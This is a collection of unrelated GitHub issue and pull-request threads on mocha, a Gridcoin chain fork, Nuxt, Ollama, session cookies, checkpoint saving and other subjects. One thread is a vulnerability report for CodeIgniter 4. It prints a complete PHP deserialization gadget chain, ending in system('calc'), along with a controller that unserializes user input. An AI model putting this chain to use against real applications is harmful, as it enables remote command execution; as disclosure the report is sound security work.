Coverage increased (+0.05%) to 90.289% when pulling c0931e3124ce0c5b3da81b426166adaadb4a73e6 on demurgos:patch-1 into 7941c9e4ea8c89c89f3e00b9ccb48209103bd641 on mochajs:master.

A typical case when using only CLI args without env variables is better is when using coverage tools such as nyc or c8. If you only have CLI args, you just have to concatenate the mocha command after the coverage command.
I'd like to experiment a bit with coverage. I already wrote some code to correctly invoke all the tools involved so there's no rush for me but having this PR merged and published would allow to clean up some logic.
I'm not really aware of the release process of Mocha: does it need more approvals or the action of specific members for this change to be merged/published?


[CLOSED] check services that use Gridcoin if they experience problems (out of sync, ...)

 Issue by Erkan-Yilmaz
Friday Mar 24, 2017 at 12:37 GMT
Originally opened as https://github.com/Erkan-Yilmaz/Gridcoin-tasks/issues/95

Let's help the services which use Gridcoin (exchanges, ...) about wallet does not sync:

I. results from below so far about service's wallets working fine (status from Friday):

CCEX
coinpayments (replied with a correct hash)
OpenLedger
Poloniex

II. how you can help?

1: go to the services/exchanges/... not listed above, e.g.

https://poloniex.com/exchange/btc_grc
https://c-cex.com/?p=grc-btc
https://bittrex.com/Market/Index?MarketName=BTC-GRC
https://cryptofresh.com/a/OPEN.GRC
Bitsquare
eobot
...

1a: send 1 or so GRC there, to see if it gets to the exchange

1b: since I don't know how their internal works:

let's also transfer some GRC from there to your own wallet back

2: for service where you can't do step 1a and 1b, send an email to their support please:

coinpayments
Coinomi
crypto-games

III. before doing so, please make sure you are not on a !fork

e.g. currently: verify you have the hash: c835eb770c41da67b5a95c63c12b627c213b7419410d908f57277e68f77c514c

with: getblockhash 854338 (from the Gridcoin debug menu)

IV. post your result below, thx

 Comment by Erkan-Yilmaz
Friday Mar 24, 2017 at 12:55 GMT

I will now contact:
Openledger, coinpayments, Coinomi

 Comment by Erkan-Yilmaz
Friday Mar 24, 2017 at 12:57 GMT

CCEX:

user BS says: sending + withdrawing works there

 Comment by bryhardt
Friday Mar 24, 2017 at 13:06 GMT

Sent to polo 20 minutes ago, nothing yet. (was fine two days ago for me)

 Comment by grctest
Friday Mar 24, 2017 at 13:07 GMT

Sent to polo 20 minutes ago, nothing yet. (was fine two days ago for me)

Poloniex does have a large confirmation period though, check the wallet status on the exchange and multiply the conf quantity by 90secs to get the est time of availability on exchange (20mins is within conf window).

 Comment by bryhardt
Friday Mar 24, 2017 at 13:13 GMT

Polo should show the deposit in the balances history with how many confirmations to go once it is received. Usually that happens in less than 10 minutes.

 Comment by Erkan-Yilmaz
Friday Mar 24, 2017 at 13:19 GMT

@bryhardt thx I have now created a ticket at Poloniex' help system, just in case

 Comment by Erkan-Yilmaz
Friday Mar 24, 2017 at 13:50 GMT

OK: coinpayments replied with a correct hash

 Comment by grctest
Friday Mar 24, 2017 at 14:11 GMT

OpenLedger is functioning fine too.

 Comment by bryhardt
Friday Mar 24, 2017 at 14:14 GMT

Not sure if they processed something on your ticket. Polo showed up now showing 52 of 120 confirmations.

 Comment by Erkan-Yilmaz
Friday Mar 24, 2017 at 14:16 GMT

Not sure if they processed something on your ticket. Polo showed up now showing 52 of 120 confirmations.

no reply by Poloniex yet
since you see confirmations, it seems good
we'd need now also a withdraw from Poloniex + don't need to worry about them anymore :-)

 Comment by bryhardt
Friday Mar 24, 2017 at 14:21 GMT

polo withdraw is good

 Comment by Erkan-Yilmaz
Friday Mar 24, 2017 at 14:21 GMT

polo withdraw is good

thank you, @bryhardt

 Comment by Erkan-Yilmaz
Friday Mar 24, 2017 at 14:39 GMT

sent mail to BitSquare + BITTREX

 Comment by Erkan-Yilmaz
Friday Mar 24, 2017 at 16:14 GMT

bittrex's blockchain is 2 blocks behind mine, but it's a good sign already (better check is the fork check, ofc)...

https://www.bittrex.com/status

 Comment by Erkan-Yilmaz
Saturday Mar 25, 2017 at 07:45 GMT

eobot:

sent email

 Comment by Erkan-Yilmaz
Sunday Mar 26, 2017 at 10:15 GMT

crypto-games.net have issues :-(
https://cryptocointalk.com/topic/53202-gridcoin-wallet-sync-problems/

 Comment by grctest
Sunday Mar 26, 2017 at 22:31 GMT

Ok, new task! We need to get all exchanges and services to enter maintenance mode ASAP, there's going to be a mandatory upgrade tonight!
Checklist:
Coinpayments - They've taken action.
Cointopay - Emailed
Coinomi - Emailed, DM'd on Twitter.
Poloniex - mod replied, raised ticket
C-cex - raised a ticket
Bittrex - Bittrex confirmed disabling wallet.
Bitsquare (I don't think they actually run the client though... you hold your own funds, minus BTC).
Openledger - notified Ronny & BlockTrades
HolyTransactions - DM'd on twitter, Emailed support.
Cryptogames - Emailed support, messaged on CCT.
Eobot - They've halted their wallet.
Less critical:
GRCPOOL.COM - Emailed, contacted related users via Telegram.
Katiee's pool
Gridcoinstats - PM'd on IRC.
gridresearchcorp - PM'd on IRC, DM'd on twitter.
explorer.gridcoin.asia - PM'd on IRC.

 Comment by Erkan-Yilmaz
Sunday Mar 26, 2017 at 22:46 GMT

Gridcoin wallets offline now at:

CoinPayments
BITTREX
EOBOT

contacted so far:

Poloniex: added to existing ticket #107557 (which still had no reply) + contacted a mod in chat
CoinPayments.net: new ticket #17544
BITTREX (email to support)
Coinomi: add to existing ticket #74223056 (which still had no reply)
EOBOT (email to support)
bitsquare forum

PMs to:

crypto games
BITTREX

tweets to:

Poloniex
CoinPayments.net
Coinomi
crypto games

 Comment by Erkan-Yilmaz
Sunday Mar 26, 2017 at 23:32 GMT

message by main developper here

 Comment by Erkan-Yilmaz
Tuesday Mar 28, 2017 at 06:49 GMT

here is a summary of the last days with Gridcoin's chains

 Comment by Erkan-Yilmaz
Tuesday Mar 28, 2017 at 14:36 GMT

Holytransaction is NOT on the A chain

 Comment by darbon
Tuesday Mar 28, 2017 at 16:27 GMT

The HolyTransaction explorer does not use the same daemon as the wallet
The withdrawal is disabled and we are waiting for it to be safe to activate it
We are already in the A chain

 Comment by Erkan-Yilmaz
Tuesday Mar 28, 2017 at 17:16 GMT

@darbon thx for the info
@all
discussion:

When should we begin to tell the services/exchanges to go "back to business" with Gridcoin ?

 Comment by grctest
Tuesday Mar 28, 2017 at 17:31 GMT

Ok, new task! We need to get exchanges and services to upgrade and verify connectivity & identical blockchain.
Checklist:
Coinpayments - ?
Cointopay - Emailed
Coinomi - Emailed, DM'd on Twitter.
Poloniex - Added info to ticket, no response yet. Mods not responding
C-cex - Admin responded to ticket, they're upgrading.
Bittrex - ?
Bitsquare - ?
Openledger - Emailed BlockTrades devs
HolyTransactions - Good (See above)
Cryptogames - Upgraded successfully https://cryptocointalk.com/topic/53202-gridcoin-wallet-sync-problems/#entry235962
Eobot - ?
Less critical:
GRCPOOL.COM - ?
Katiee's pool - ?
Gridcoinstats - Upgraded, on good chain.
gridresearchcorp - Upgraded, on good chain.
explorer.gridcoin.asia - Upgraded, needs further analysis of blockchain validity.

 Comment by Erkan-Yilmaz
Tuesday Mar 28, 2017 at 19:23 GMT

sent ALIEN's template to:

Coinpayments
Bittrex
Bitsquare
Eobot

 Comment by bryhardt
Wednesday Mar 29, 2017 at 02:15 GMT

For grcpool.com, it has been running on .7 for about 24 hours and everything seems okay. My personal windows client isn't working, but I'll have to deal with that next week. :)

 Comment by Erkan-Yilmaz
Monday Apr 03, 2017 at 11:16 GMT

I've contacted now:
Bittrex
Eobot
Coinpayments
Coinomi
Poloniex
Cointopay
C-cex
HolyTransactions ( cc @darbon )
Bitsquare
Cryptogames
already uptodate.

gridcoinstats
explorer.gridcoin.asia

in progress:

Openledger

todo:

GRCpool
Katiee's pool
gridresearchcorp

 Comment by Erkan-Yilmaz
Tuesday Apr 04, 2017 at 11:00 GMT

I've contacted now to go into maintainance mode:
Poloniex
C-cex
Bittrex
Eobot
Coinpayments
Coinomi
Cointopay
HolyTransactions ( cc @darbon )
Openledger
Bitsquare
Cryptogames
todo/inprogress:
gridcoinstats
explorer.gridcoin.asia
GRCpool
Katiee's pool
gridresearchcorp

 Comment by Erkan-Yilmaz
Tuesday Apr 04, 2017 at 11:18 GMT

further info here

 Comment by grctest
Saturday Apr 08, 2017 at 23:56 GMT

It has been about 4 days since we last had instability in the blockchain, c-cex has gone back to production. Should we get the other services notified to go live but with an increased min conf amount?


Sending media via DM

Apologies, I know this isn't an issue, but it seems dramatically difficult, even through the Twitter api directly. Does anyone have an example of sending and image along with a DM tweet. It's driving me crazy

@eanie I don't believe this is possible. The API documentation gives no indication that anything other than text can be sent as part of a DM. If you find information to the contrary feel free to reopen this issue.


#263: Add php attribute SkipCollection

Q
A

Is bugfix?
✔

New feature?
✔

Breaks BC?
❌

Fixed issues
#263

Use Yiisoft\Hydrator\Attribute\SkipHydration instead of new attribute.


VSIX metadata issues

[x] Add any remaining license link
[ ] If possible, prevent installation into VS 15.6 or lower (currently it doesn't stop you, but then won't work)

@rynowak Can you help me out with this?

Done in #322.
We can't stop the installation on VS15.6 (the mechanism for doing that doesn't appear to work) so will have to rely on documenting the 15.7 requirement.


Auto-imports in  webworker bundle not work

Environment

Operating System: Windows_NT
Node Version:     v20.9.0
Nuxt Version:     3.8.2
CLI Version:      3.10.0
Nitro Version:    2.8.0
Package Manager<EMAIL_ADDRESS>Builder:          -
User Config:      alias, app, components, devtools, experimental, modules, nitro, runtimeConfig, session, sourcemap, typescript, vite, vue
Runtime Modules<EMAIL_ADDRESS><EMAIL_ADDRESS>Build Modules:    -

Reproduction
https://stackblitz.com/edit/github-6zhzee?file=services%2Fdemo%2Fworker.ts,pages%2Findex.vue
Describe the bug
In the webworker file, the referenced Auto-imports function will not be packaged, and will appear "Uncaught (in promise) ReferenceError: log is not defined
at globalThis.onmessage (worker-6dbb1795.js:1:255)
"
Additional context
step:

pnpm build
node .output/...
see browser devtools console

Logs
No response

Missed that issue. We can consolidate in #24590


File extension update

I have added some file extensions for ASP that are used in Asprilo for the 'abc' domains. (see: https://github.com/potassco/asprilo-encodings ).
.ilp for incremental mode
.clp clingcon encoding
.iclp incremental clingcon encoding
.blp boolean encoding
.iblp incremental boolean encoding

Hello,
Thank your for your pull request. I merge it and in the next days I will look into asprilo to see if there is new terms to add.


Can add Stable Diffusion 3.5 model？

Cannot find Diffusion 3.5 model on the ollama platform?Does Olama not support the Diffusion 3.5 model? Can we add an Diffusion 3.5 model?
Implementing text and image generation using API+JSON+Base64+Prompt。

Short answer is no, you shouldn't be able to as Ollama is dedicated to Large LANGUAGE models.
Longer answer is that in general, Stable diffusion and Large Language Models require different architectures, and while some llava models (and more recently Llama models) do have the ability to reason about images, being able to identify an image / the contents of an image is inherently different from being able to generate one, and ollama isn't designed or equiped for that.
As a real life example, if you give me a picture of a flower, and ask me to write a poem or tell you about the flower, with sufficent training or knowledge I could probably do that-but that doesn't necessary mean I could then draw the flower, or visualize let alone draw that flower given a text description. To successfully execute that drawing task, I'd probably need training of some sort.
For stable diffusion you should be looking into something like Automatic1111, forge, comfy, or swarm (to name a few of the more popular projects).

Merging with https://github.com/ollama/ollama/issues/786


[Request-for-external] Codeunit 1290 SOAP Web Service Request Mgt. - SendRequestToWebService

Can you remove [Scope('OnPrem')] from procedure SendRequestToWebService in Codeunit 1290 SOAP Web Service Request Mgt. ?

No we cannot, this is by design


CookieStore doc says data is signed but it doesn't seem to be

This was already mentioned in #40 but I think it still applies. From looking at the code, it seems that the cookie is just the serialized Session instance and as such could easily be modified. Any signing has to be done externally, by middleware.
This means that the middleware has to be aware of the SessionStore implementation and whether the data needs to be protected or not. In the case of axum-sessions they always HMAC the cookie value, which is unnecessary given that the cookie value is just random data for most store implementations.
The docs should probably make it clear that there is no signing of the value in this crate. It would be possible for CookieStore to handle signing (and possibly encryption) of the cookie value though, which would (optionally) remove the responsibility from the various middleware implementations. I could try and put together a PR if this makes sense?

This would be really neat.

I just stumbled onto this as well. It should be made a priority to correct the documentation as it is highly misleading to claim cookies are being signed when that is not the case.


Implement list animation on TimetableTime and timetable items of FavoriteList.

Issue

close #700

Overview (Required)

Implement list animation on TimetableTime and timetable items of FavoriteList.
However, I have not been able to implement animation for my favorite items.

Links

none

Movie (Optional)

Before
After

Thank you for your pull request!
This is quite difficult, but could we implement an animation like a normal list? Currently, the animation is grouped by the start time.

This is quite difficult, but could we implement an animation like a normal list?

I have implemented it. However, the height of the TimetableTime was off or there were unwanted spaces in the list. I could not solve it.
a804801

@hiesiea Thank you. Could I have a movie for it? Also, please correct the formatting errors.

@takahirom

Could I have a movie for it?

This way.
https://github.com/user-attachments/assets/1916461f-cec7-4271-a4f3-a33d93d888c8

I think it is my fault, but the architecture of the item layout is not well-suited for animation 😇. I believe it is important to maintain consistency in animation. 🙇

Do you want to close this PR as further revisions are too severe for me?
Or do you want to revert the following commit?

a804801
78ba962

I want to create an animation similar to the default animation of a LazyColumn. Currently, our LazyColumn has items grouped together, resulting in a different animation than intended. I envision an animation where, when an item disappears, the next item smoothly slides up from below.

I want to create an animation similar to the default animation of a LazyColumn.

Sorry, but may I be removed from the assignment as it is too difficult for me?
And may I close this PR?

Sorry, I think it's my fault. However, I believe that animation consistency is important.


ChefVault::Item.refresh

Saw on your changelog:
ChefVault::Item now has a #refresh method which can be used to programatically perform the same operation as knife vault refresh

But I'm getting undefined method 'refresh' for ChefVault::Item:Class.

It's an instance method, so you have to call ::load, then call #refresh on that.
This is how it's being used in the knife subcommand:
https://github.com/Nordstrom/chef-vault/blob/v2.6.0/lib/chef/knife/vault_refresh.rb#L38-39

I'm assuming this can be closed?

Yes, thank you.


Enable collecting traces in upgrade tests

Proposed Changes

Use new knative/eventing API for upgrade tests that allows passing context which holds information for tracing
Update toml files in upgrade tests to properly enable tracing
KafkaSender now creates a trace Span and adds it as headers to the message that is sent to Kafka
Increase memory limits for Zipkin pod so as to be able to gather all traces (possibly thousands) from upgrade tests

Collecting traces is affected by https://github.com/knative/eventing/issues/6330 but it it's not critical and there's already a PR to fix it.

Release Note

Docs

/hold
I want to introduce a missed event here and confirm it works as expected.

/hold cancel
Works as expected.

@mgencur do you want to do some backport for this?

do you want to do some backport for this?
Hmm, this would require updating dependencies on knative/eventing. Is it desirable for the older branches? I'm not sure


Bug:There is Serialization vulnerability cause RCE

Describe the bug
If the framework is used and unserialize () is called at user controllable input and special characters are allowed, it will be subject to deserialization remote command execution vulnerability.
CodeIgniter 4 version
Less than or equal to Version v4.1.3
Expected behavior, and steps to reproduce if appropriate
Poc:
<?php
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct()
        {
           $this->default="calc";//open /System/Applications/Calculator.app
        }
    }
}

namespace Faker {
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($generator)
        {
            $this->maxRetries=1;
            $this->validator="system";
            $this->generator=$generator;
        }
    }
}

namespace CodeIgniter\Session\Handlers {
    class MemcachedHandler
    {
        public $lockKey = "Firebasky";
        public $memcached;
        public function __construct($memcached)
        {
            $this->memcached = $memcached;
        }
    }
}

namespace CodeIgniter\Cache\Handlers {
    class RedisHandler
    {
        public $redis;
        public function __construct($redis)
        {
            $this->redis = $redis;
        }
    }
}
namespace {
    use CodeIgniter\Cache\Handlers\RedisHandler;
    $a = new RedisHandler(
            new \CodeIgniter\Session\Handlers\MemcachedHandler(
                new Faker\ValidGenerator(new Faker\DefaultGenerator())
            )
    );
    $a = (serialize($a));
    echo base64_encode($a);
}

Test code
<?php
namespace App\Controllers;
class Home extends BaseController
{
	public function index()
	{
        unserialize(base64_decode($_GET['exp']));
		return view('welcome_message');
	}
}

The vulnerability is only the execution chain of PHP deserialization. It must cooperate with the serialize function to achieve the harm of arbitrary command execution.

However, the utilization chain of deserialization is provided by the framework,$_GET['exp'] Just test the success of the utilization chain。

Where is this utilization chain provided? In the User Guide?

No,The chain is a framework belt. It is implemented through specific attack code. You can debug the code I provide above.


error loading "checkpoint_best.pth" model

After the upstream training~
when i load the "checkpoint_best.pth", I got an error like  [enforce fail at inline_container.cc:209]. file not found: archive/data/3259494704. I don't know exactly why the file was somehow corrupted.

I guess the file was corrupted due to the multiple processes trying to write on it at the same time. I suggest you try adding the if-statement if comm.synchronize(): at the top of the line: https://github.com/kakaobrain/scrl/blob/master/trainer/trainer.py#L140
This might be a bug we overlooked. (We always used the last checkpoint instead of the best one since model selection on the test set -note that we didn't use held-out validation set- was kind of cheating.) We would be grateful if you let us know if your problem has been solved by the suggested solution(or submit a PR for us.)

thank you for your reply and suggestion.
I think so too. the checkpoint file was corrupted due to the multi-gpu & multi-processes trying to write on it at the same time.
I solved the error by modifying the function def _save_checkpoint(self, tag): as below.
def _save_checkpoint(self, tag):         save_path = f"{self.cfg.save_dir}/checkpoint_" + str(tag) + ".pth"         state_dict = {             'tag': str(tag),              'epoch': self.cur_epoch,             'max_eval_score': self.max_eval_score,             'max_eval_epoch': self.max_eval_epoch,             }         for key, target in self._saving_targets.items():             if self.cfg.fake_checkpoint:                 target = "fake_state_dict"             else:                 target = utils.unwrap_if_distributed(target)                 target = target.state_dict()             state_dict[f"{key}_state_dict"] = target         ##Add ##         if tag == 'best':             if torch.distributed.get_rank() == 0:                 torch.save(state_dict, save_path)             torch.distributed.barrier()         else:             torch.save(state_dict, save_path)         suffix = (C.debug(" (fake_checkpoint)")                      if self.cfg.fake_checkpoint else "")         #######         return save_path + suffix
"We always used the last checkpoint instead of the best one since model selection on the test set -note that we didn't use held-out validation set- was kind of cheating." --> I also experiment like you. I think that it is the correct way for reporting the model's performance.

thank you for your reply and suggestion.
I think so too. the checkpoint file was corrupted due to the multi-gpu & multi-processes trying to write on it at the same time.
I solved the error by modifying the function def _save_checkpoint(self, tag): as below.
def _save_checkpoint(self, tag):
        save_path = f"{self.cfg.save_dir}/checkpoint_" + str(tag) + ".pth"
        state_dict = {
            'tag': str(tag),
            'epoch': self.cur_epoch,
            'max_eval_score': self.max_eval_score,
            'max_eval_epoch': self.max_eval_epoch,
            }
        for key, target in self._saving_targets.items():
            if self.cfg.fake_checkpoint:
                target = "fake_state_dict"
            else:
                target = utils.unwrap_if_distributed(target)
                target = target.state_dict()
            state_dict[f"{key}_state_dict"] = target
        ##Add ##
        if tag == 'best':
            if torch.distributed.get_rank() == 0:
                torch.save(state_dict, save_path)
            torch.distributed.barrier()
        else:
            torch.save(state_dict, save_path)
        suffix = (C.debug(" (fake_checkpoint)")
                    if self.cfg.fake_checkpoint else "")
        #######
        return save_path + suffix

We always used the last checkpoint instead of the best one since model selection on the test set -note that we didn't use held-out validation set- was kind of cheating.
--> I think that it is the correct way for reporting the model's performance.


Fix usage section title

Currently, the usage title looks like this:

All the other titles are capitalized, so this just looks odd. The current title is also pretty long :/
Additionally, I added some extra clarification for "minimum build system integration."

Closing this one as we'll be reworking the table of contents soon, and the title is going to be changed as part of that.

Closing this one as we'll be reworking the table of contents soon, and the title is going to be changed as part of that.


Validation of readme

This PR fixes

Images are worse than before and the notes section also includes unnecessary artifacts.

Good point. For images the standards are not allowing html code. For the notes section I would go with simple notes just, without the required (Warning, Important etc.)


Test Issue created at Wed, 29 Dec 2021 02:24:54 GMT

Test issue body  Wed, 29 Dec 2021 02:24:54 GMT

Comment on issue at Wed, 29 Dec 2021 02:24:56 GMT


KCL: % is not an operator

In many languages % is the modulo operator, but not in KCL! In KCL, % is used as a substitution in a pipeline (|>).
Trying to use % as an operator should be a parse error, or at the very least, a runtime error of some kind.
Unfortunately right now it's silently accepted, and for example this program:
let n = 10
let d = n % 2

evaluates d to 0.0 -- very bad.
I've reproduced this bug in a PR (https://github.com/KittyCAD/modeling-app/pull/4042) but haven't yet fixed it.

I think it's fine to remove % as an operator. #4227 tries to change it to infix mod. Copying what I said from there:

My opinion is that having infix mod is inconsistent with the rest of the language. The way we divide and the way we do modulus should go together. There are different flavors, and as long as they match, it makes sense. Division as we've defined it matches with remainder. We have rem() for that. I think we should make mod() be a stdlib function similar to rem(), but that's implemented with Rust's rem_euclid.